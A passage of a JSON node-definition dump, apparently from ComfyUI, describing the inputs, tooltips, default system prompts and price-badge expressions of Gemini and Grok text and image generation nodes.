"hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNode", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini AI model. You can provide multiple types of inputs (text, images, audio, video) as context for generating more relevant and meaningful responses.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"gemini-2.5-flash\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0003, 0.0025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\"}\n }\n : $contains($m, \"gemini-2.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : ($contains($m, \"gemini-3-pro-preview\") or $contains($m, \"gemini-3-1-pro\")) ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gemini-3-1-flash-lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model. Include detailed instructions, questions, or context.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Gemini model used to generate the response.", "options": [{"key": "Gemini 3.1 Pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "HIGH", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}, {"key": "Gemini 3.1 Flash-Lite", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}], "audio": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional audio clip to use as context for the model.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "names": ["audio_1"], "min": 0}}], "video": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional video clip to use as context for the model.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1"], "min": 0}}], "thinking_level": ["COMBO", {"tooltip": "How hard the model reasons internally before answering. HIGH improves quality on difficult tasks but costs more (thinking) tokens and is slower.", "default": "LOW", "multiselect": false, "options": ["LOW", "HIGH"]}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. Lower is more focused/deterministic, higher is more creative.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling: sample from the smallest token set whose cumulative probability reaches top_p.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "max_output_tokens": ["INT", {"tooltip": "Maximum tokens to generate, including the model's internal thinking. With thinking_level HIGH, a low value can leave no room for the answer; raise this if responses come back empty or truncated. The model stops early when finished, so a higher cap costs nothing extra for short replies.", "advanced": true, "default": 32768, "min": 16, "max": 65536}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 for a random seed. Deterministic output isn't guaranteed.", "default": 42, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiNodeV2", "display_name": "Google Gemini", "description": "Generate text responses with Google's Gemini models. Provide a text prompt and, optionally, one or more images, audio clips, videos, or files as multimodal context.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"lite\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.0015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.012],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "GeminiImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for generation", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "multiselect": false, "options": ["gemini-2.5-flash-image"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "aspect_ratio": ["COMBO", {"tooltip": "Defaults to matching the output image size to that of your input image, or otherwise generates 1:1 squares.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "files", "aspect_ratio", "response_modalities", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImageNode", "display_name": "Nano Banana (Google Gemini Image)", "description": "Edit images synchronously via Google API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.039,\"format\":{\"suffix\":\"/Image (1K)\",\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiImage2Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["gemini-3-pro-image-preview", "Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"tooltip": "Choose 'IMAGE' for image-only output, or 'IMAGE+TEXT' to return both the generated image and a text response.", "advanced": true, "multiselect": false, "options": ["IMAGE+TEXT", "IMAGE"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "STRING"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GeminiImage2Node", "display_name": "Nano Banana Pro (Google Gemini Image)", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["Nano Banana 2 (Gemini 3.1 Flash Image)"]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities", "thinking_level"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2V2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Nano Banana 2 (Gemini 3.1 Flash Image)", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9", "1:4", "4:1", "8:1", "1:8"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s). Up to 14 images total.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}], "temperature": ["FLOAT", {"tooltip": "Controls randomness in generation. Lower is more focused/deterministic.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling threshold. Lower is more focused, higher more diverse.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "response_modalities"], "optional": ["system_prompt", "temperature", "top_p"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2V2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $r := $lookup(widgets, \"model.resolution\");\n $prices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"GEMINI_INPUT_FILES": ["GEMINI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["GEMINI_INPUT_FILES"]}, "is_input_list": false, "output": ["GEMINI_INPUT_FILES"], "output_is_list": [false], "output_name": ["GEMINI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiInputFiles", "display_name": "Gemini Input Files", "description": "Loads and prepares input files to include as inputs for Gemini LLM nodes. The files will be read by the Gemini model when generating a response. The contents of the text file count toward the token limit. \ud83d\udec8 TIP: Can be chained together with other Gemini Input File nodes.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}], "number_of_images": ["INT", {"tooltip": "Number of images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "aspect_ratio", "number_of_images", "seed"], "optional": ["resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageNode", "display_name": "Grok Image", "description": "Generate images using Grok based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.model = \"grok-imagine-image-quality\"\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($contains(widgets.model, \"pro\") ? 0.07 : 0.02);\n {\"type\":\"usd\",\"usd\": $rate * widgets.number_of_images}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "image": ["IMAGE", {"display_name": "images"}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected to the image input.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "resolution", "number_of_images", "seed"], "optional": ["aspect_ratio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNode", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $rate := $isQualityModel\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * widgets.number_of_images;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "grok-imagine-image-quality", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}, {"key": "grok-imagine-image-pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image to edit.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}]}}}, {"key": "grok-imagine-image", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", 